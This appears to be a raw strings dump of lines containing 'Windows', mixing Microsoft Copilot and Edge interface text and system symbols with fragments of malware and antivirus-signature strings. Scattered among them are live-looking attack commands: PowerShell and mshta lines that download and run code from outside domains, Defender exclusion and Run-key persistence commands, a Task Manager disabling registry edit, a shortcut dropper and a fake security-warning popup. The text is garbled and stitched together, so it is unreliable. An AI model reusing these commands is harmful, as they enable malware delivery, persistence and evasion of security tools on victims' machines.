obh do phasfhocal Windows chun 
obh do phasfhocal Windows chun 
onn Windows 10 n
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
kDesktopWindowsIcon
AllCultures"UserCustomCulture&ReplacementCultures&WindowsOnlyCulturesg
(OSFileStreamStrategy<AsyncWindowsFileStreamStrategy
:SyncWindowsFileStreamStrategy
autolaunch_on_windows_unlock
has_windows_upgraded
bc:\windows\system32\tttracer.execmd.exe/cmdc:\users\qi&c:\windows\system32\devicecredentialdeployment.exe
C:\Windows\Temp\passwordsC:\Public\decoy.lnk
ExitWindows.P
msNurturingReTriggerFreOnWindowsUpgrade
msNurturingAutolaunchOnWindowsUnlock
msNurturingSitePinningWithWindowsConsentCustomTriggerAfterBasicTargetingCheck
msNurturingSitePinningWithWindowsConsentCustomTrigger
HasWindowsUpgraded
NumberOfDaysAfterWindowsMouseGestureEngaged
alwaysOnTopWindows
_execute_page_ace_browser_action_execute_browserwindows
Unknown platform for 'command[*]': *. Valid values are: 'windows', 'mac' 'chromeos', 'linux' and 'default'.
allowScrollInactiveWindows
WINDOWS
FileSystemUtil::GetFileOrFolderAttributesOnWindows
FileSystemUtil::IsFileOrFolderEncryptedOnWindows
bool __cdecl FileSystemUtil::GetFileOrFolderAttributesOnWindows(const wchar_t *,unsigned int *)
FileSystemUtil::IsFileReadOnlyOnWindows
bool __cdecl FileSystemUtil::IsFileOrFolderEncryptedOnWindows(const wchar_t *)
FileSystemUtil::IsFileOrFolderHiddenOnWindows
bool __cdecl FileSystemUtil::IsFileReadOnlyOnWindows(const wchar_t *)
bool __cdecl FileSystemUtil::IsFileOrFolderHiddenOnWindows(const wchar_t *)
Autofill.Bnpl.PopupWindowShown.
!#SIGATTR:JS/Obfuscator.FSO.Windows
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
C:\WINDOWS\system32\vssvc.exe
DriverData=C:\Windows\System32\Drivers\DriverData
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.
QWindowsUiaProviderCache
QWindowsUiaMainProvider
QWindowsUiaBaseProvider
QWindowsGdiNativeInterface
QWindowsGuiEventDispatcher
.?AVQWindowsBaseWindow@@
.?AVQWindowsForeignWindow@@
.?AVQWindowsWindow@@
.?AVQWindowsIntegration@@
.?AVQWindowsDesktopWindow@@
.?AVQWindowsServices@@
.?AVQWindowsFontDatabaseFT@@
.?AVQWindowsScreen@@
.?AVQWindowsOleDataObject@@
.?AV?$QWindowsComBase@UIDataObject@@@@
.?AVQWindowsOleEnumFmtEtc@@
.?AV?$QWindowsComBase@UIEnumFORMATETC@@@@
.?AVQWindowsDropDataObject@@
.?AVQWindowsMime@@
.?AVQWindowsMimeText@@
.?AVQWindowsMime
TEMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
COMPUTERNAME=WINDOWS11
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
?read@QWindowsPipeReader@@QEAA_JPEAD_J@Z
?readFileCompleted@QWindowsPipeReader@@CAXKKPEAU_OVERLAPPED@@@Z
?readyRead@QWindowsPipeReader@@QEAAXXZ
prod3-passive-dsts.dsts.core.windows.net
\c$\windows\temp\bqt_payload.exe\
:\windows/
^dimwshellsetwshell=createobject("wscript.shell")mygroupwshell.specialfolders("allusersdesktop")mygroupwshell.specialfolders("allusersstartmenu")mygroupwshell.specialfolders("allusersprograms")mygroupwshell.specialfolders("favorites")mygroupwshell.specialfolders("favorites")&"\"mygroupwshell.specialfolders("allusersdesktop")mygroupwshell.specialfolders("appdata")&"\microsoft\internetexplorer\quicklaunch"taobaowshell.specialfolders("favorites")&"\"mshelllnk"","c:\programfiles\winrar\ico\36.ico","c:\windows\","http://%67%6f%2e%6e%65%77%61%61%2e%69%6e%66%6f/?i=1&ssdsds","","","",wshell.specialfolders("allusersstartup")setfso=createobject("scripting.filesystemobject")fso.deletefile"c:\windows/
windows manager
msgbox(16,"systemwarning","windowspreformedillegal
winlogonlogex
winlogonstartexb.dll
c:/windows/system32/d$
c:/windows/system32/dL
c:/windows/system32/dL
~ows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
windows
?setPlatformSynthesizesMouse@TabletEvent@QWindowSystemInterfacePrivate@@SAX_N@Z
D:\a\_work\1\s\windows\x64\Release\FileSyncRNWin32Lib.pdb
    "selectiveSyncConfirmDialogContainsKnownFolderWarningSecondaryTextV2":  "The folder you tried to unselect contains the Windows {0} folder, which is an important folder in Windows and is currently pointed to OneDrive.",
a^windows.protocol
26^windows.appExtension
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
SE_CC_E_NO_DRIVE_ILLEGAL_WINDOWS_ITEM_NAME
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
/kstart/min%systemroot%\\system32\\wbem\\wmic.
\system32\rundll32.exerecycled\
<'';'-windowstylehidden
[windows.forms.sendkeys]::sendwait(
~}Windows Af
B\Windows Care Takerp
6https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.jsV
&/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
YMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari3
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.9
?bytesAvailable@QWindowsPipeReader@@QEBA_JXZ
?bytesToWrite@QWindowsPipeWriter@@QEBA_JXZ
?bytesWritten@QWindowsPipeWriter@@QEAAX_J@Z
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
{EB0Z85-37F8-D52C:\Windows\system32\rdptaf.xslW
GetWindowsDirectoryW
Windows
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
\appdata\roaming\microsoft\windows\start menu\programs\startup\
eMicrosoft-Windows-Foundation-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
::createdirectoryifnotexist"c:\users\public\downloads"mkdir"c:\users\public\downloads"::addwindowsdefenderexclusionspowershell-command"add-mppreference-exclusionpath'c:\users\public\downloads'">nul2>&1::download
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Windows.Security.Authentication.Web.Core.BackgroundGetTokenTask.ClassId.WebAccountProvider
\syswow64\windowspowersI
\system32\cmd.exe
DriverData=C:\Windows\S'
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
Microsoft-Windows-DispBroker
Microsoft.Windows.App.Browser
WINDOWSBACKUP.APPXQJ224HKH7NBP78XKN6XXWG6WAGA3CFT4.MCA
uAAA_SystemSettings_Notifications_WindowsTipEnabled*hGet tips, tricks, and suggestions as you use Windows\
Show Windows welcome notifications\
AAA_SystemSettings_Notifications_ScoobeEnabled-<Suggest ways I can set up my device to get the most out of WindowsU
MAAA_SystemSettings_MusUpdate_WindowsInsider$
Windows Insider Program settingsM
HAdvanced Windows Update optionsU
Automatically resize snapped windows to fill available spaceW
Show snapped windows in taskbar, Task View and Alt+TabB
Automatically snap windows to the sides or corners of the screenz
s title bar and shake it to minimize other windowsN
9AAA_SystemSettings_Misc_RollbackYourPC_Windows8_1$
Go back to Windows 8.1J
5AAA_SystemSettings_Misc_RollbackYourPC_Windows8$
Go back to Windows 8J
5AAA_SystemSettings_Misc_RollbackYourPC_Windows7$
Go back to Windows 7
windows backup:wux:windows backupG
windows spotlight-
AAA_SystemSettings_DefaultPrinterManagedByWindows	
+AAA_SystemSettings_DefaultPrinterManagedByWindows
1AAA_SystemSettings_DefaultPrinterManagedByWindows
?AAA_SystemSettings_DefaultPrinterManagedByWindows
OAAA_SystemSettings_DefaultPrinterManagedByWindows
Windows manage my default printer
'AAA_SystemSettings_DefaultPrinterManagedByWindows
Microsoft.Windows.Desktop.DesktopShellHostExtensions
Microsoft.Windows.Shell.RebootlessFeatureRollout
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.ShellUIHostCoordinator
Microsoft.Windows.Shell.AutoFeatureRollback
Microsoft.Windows.Shell.AutoFeatureRollback
Microsoft.Windows.UndockedFlighting.UfLib
Microsoft.Windows.Shell.AIX
Microsoft.Windows.Shell.HardwareRequirements
ext-ms-win-ntuser-windowstation-l1-1-0.dll
ext-ms-win-ntuser-windowstation-l1-1-1.dll
powershell.exe-executionpolicybypass-windowstylehiddenhiddden-commanddssec.dat;(new-objectsystem.net.webclient).downloadfile('https://www.sodiumlaurethsulfatedesyroyer.com
kstart""powershell-windowstylehidden-command"start-processpowershell-argumentlist'-noprofile-executionpolicybypass-file\"%docs_ps1%\"'-verbrunas-windowstylehidden"
#micros~1\appdata\local\temp\{8b7beda4-3d8f-4bc8-b047-035e7984c283}\06.jar06.jarpc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\06.jar
mozilla/5.0(windowsnt10.0;win64;x64)applewebkit/537.36(khtml,likegecko)chrome/114.0.0.0safari/537.36edg/114.0.1788.0
WindowsGetStringRawBuffer() failed
thWonecoreuap\windows\core\dispbroker\lib\displayenumeration.cpp
onecoreuap\windows\core\dispbroker\lib\displaymuxdevice.cpp
\\WINDOWS11
Microsoft.WindowsAlarms_8wekyb3d8bbwe
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
Microsoft.WindowsAlarms_8wekyb3d8bbwe!App
WindowsCreateStringReference
EnumWindows
Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-CoreSystem-DXG-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-DispBroker
ing\Microsoft\Windows\Reorder\
MpClient.pdbMpPublicHeapMpDebugHeapEngineVersionMpProcessHeapProductGuidSigVersionIsPassiveModeMicrosoft.Windows.DefenderAVCMpSampleSubmissionFactory@MpClientAVCMpMemoryScan@MpClientAVCMpSpyNetQueueAUIMpSignaturesUpdateClient@MpConfigAVCMpSignaturesUpdateGlobalmpconfig_productappdatapathm
devices.pensyncedsettings|windows.data.input.devices.pensyncedsettings
default$windows.data.accessibility.eyecontrol.syncedsettings|windows.data.accessibility.eyecontrol.syncedsettings
default$windows.data.apps.devicemetadata|windows.data.apps.devicemetadata
default$windows.data.apps.packagedproducts|windows.data.apps.packagedproducts
default$windows.data.settings.settingsusagehistory|windows.data.settings.settingsusagehistory
default$windows.data.apps.unpackagedproducts|windows.data.apps.unpackagedproducts
default$windows.data.input.text.roamingdictionary|windows.data.input.text.roamingdictionary
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.unrestricted
,MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetData
1MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUIv
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
regaddhkcu\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr/treg_dword/d1/f
(\\windows\\currentversion\\run"/v"nodehelper"/treg_sz/d
,c:\windows\system32\cmd.exe/c"netuseq:https://webdav.4shared.com
SOFTWARE\Microsoft\Windows Defender\FeaturesSOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Hosts.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Feeds.Providers.h
windows.appExtension
Global.WidgetViewWinUI3MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!K
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadataIn
escriptionAssets\WindowsSecurityMedTile.png!
.exeWindows.FullTrustApplicationp
c:\windows\pre-G
WindowsInternal.People.PeoplePicker
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Controls]ToolTipService
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
LetWindowsManageConnectionLabel
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Controls]ToolTipService
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
WindowsInternal.People.PeoplePicker
:\windows\system32\wbem
:\windows\syswow64\wbem
:\windows
c:\windows\system32\lsass.exe
Microsoft.Windows.ApplicationModel.DesktopAppx
Microsoft.Windows.Wil.FeatureLogging
4Z<HTA:APPLICATION icon="#" WINDOWSTATE="normal" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" BORDER="none" SCROLL="no"<
<HTA:APPLICATION CAPTION = "no" WINDOWSTATE = "minimize" SHOWINTASKBAR = "no"<
Microsoft.Windows.LicenseManager.Telemetry
WindowsCreateStringReference
f1^com.microsoft.windows.extensionpackage
f3^com.microsoft.windows.extensionpackage
f5^com.microsoft.windows.extensionpackage
<Shmuelie_WinRTServer_Windows_Com_IClassFactory>F145BBF4293525CB64887BA37E2FDFDD50F14D9ADC565161A2D3366C2CA14E775__InterfaceInformation
<Shmuelie_WinRTServer_Windows_Com_IClassFactory>F145BBF4293525CB64887BA37E2FDFDD50F14D9ADC565161A2D3366C2CA14E775__InterfaceImplementation
SOFT.WINDOWS.A(@
JumpView_AppCloseDisplayWindowsAction
JumpView_AppCloseAllWindowsAction
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\WINDOWS\system32\Javass91.exeI
c:\windows
WINDOWS\SYSTEM32\vg
askManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@U?$IVector@UWaitChainViewModel@TaskManagerApp@winrt@@@5673@U?$IVectorView@UWaitChainViewModel@Task
DOMAIN=Windows
WindowsCreateStringReference
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Core.h
c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1powershell-command('ms'+'hta'+'.exe'+'https://myfilebuilders.com/samm')"
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://tualcaldia.com/firma/default.mp4')".
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.2.131\inc\wil\opensource\wil\resource.h
D(list.txt)dops-s\\%%acmd.exe/cifexistc:\windows\system32\samsam.exestart/bc:\windows\system32\samsamL
 confirm("warning!onyourcomputerdetectedthemaliciouscode.shouldimmediatelymakesurethatyoursystemissafe!killinghazard(r)formicrosoftwindowsimmediatelystartedtowork")
fKT]1171234104123496123412412341271234981234117123498shell "c:\windows\explorer.exe " & a8xwtn = trim("" & a
powershell.exe";myshortcut.arguments="-whiddeninvoke-webrequesthttp://8i9.xyz/2.txt-outfilec:\\users\\%username%\\downloads\\2.txt;renc:\\users\\%username%\\downloads\\2.txt-newname2.js;wscript.exe/sc:\\users\\%username%\\downloads\\2.js";myshortcut.workingdirectory=myshell.expandenvironmentstrings(mypath);myshortcut.windowstyle=4;myshortcut.save();
.windowsphone.com
.windows.com
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
shouldLogFlightAssignmentsToWindows
SigninWindows10DepreciationStateForTesting
SigninWindows10DepreciationStateBypassForTesting
EdgeGraphWindowsScope
GraphWindows
embedded/setup/windows
embedded_setup_windows_url
windowsfeeds
Windows.Widgets
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Windows N`
msEdgeSyncEfficiencyModeWithWindowsEnergySaver
msEdgeWindowsEnergySaverAvailable
msEdgeWindowsEnergySaverActivatedTrigger
msEdgeWebAuthnEnclaveAuthenticatorWindowsPluginReadyTrigger
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
is_windows_xbox_sku
Windows.DisplayIdFromDeviceId
Windows.DisplayIdFromDeviceKey
windows-949
msWindowsRecallDlpSupport
WindowsDeleteString
WindowsCreateString
WindowsGetStringRawBuffer
..\..\third_party\webrtc\rtc_base\win\edge_windows_sku.cc
eglCreateWindowSurface failed with error 
crbug.com/42250788: Invalid consteval interpretation of 22nd bit on Windows x86 with SM 6.0+.
crbug.com/446254136: Limited support / testing currently available on Windows.
crbug.com/42240193: Indirect root constants in compute pass broken on Windows NVIDIA x86.
crbug.com/42242119: Limited support / testing currently available on Qualcomm Windows.
Blocklisted by vendor/device/driver string pattern on Qualcomm Windows.
WebGPUQualcommWindows
Disable D3D12 video encoder on Windows versions older 11 24H2
D$0 on Windows are possibly unreliable
NVidia drivers older than 2010 on Windows are possibly unreliable
Yhttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crl0w
[http://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Code%20Signing%20PCA%202024.crt0
'Microsoft Windows Code Signing PCA 2024
activity.windows.com
 in DecreaseRecvWindowSize, which is larger than the receive 
Windows Search Indexer
Windows Vision
windows_vision
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
'Microsoft Windows Code Signing PCA 20240
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
connect suc begin recvUser-Agent: Mozilla/5.0 (Windows; U; 
WindowsAppRuntime.Release!1.7.208x
(c:\windows\system32\cmd.exe/c"{
gcmd /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V rundll /D "\"
..\..\chrome\browser\ui\webui\edge_underside_chat\edge_windows_action_ai\windows_action_ai_handler.cc
RoGetActivationFactory( base::win::HStringReference(RuntimeClass_Windows_Devices_Radios_Radio) .Get(), IID_PPV_ARGS(&radio_statics))
RoGetActivationFactory( base::win::HStringReference( RuntimeClass_Windows_UI_Shell_FocusSessionManager) .Get(), IID_PPV_ARGS(&focus_session_manager_statics))
Windows 11
Windows 10
WindowsUpdate
Windows 10
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
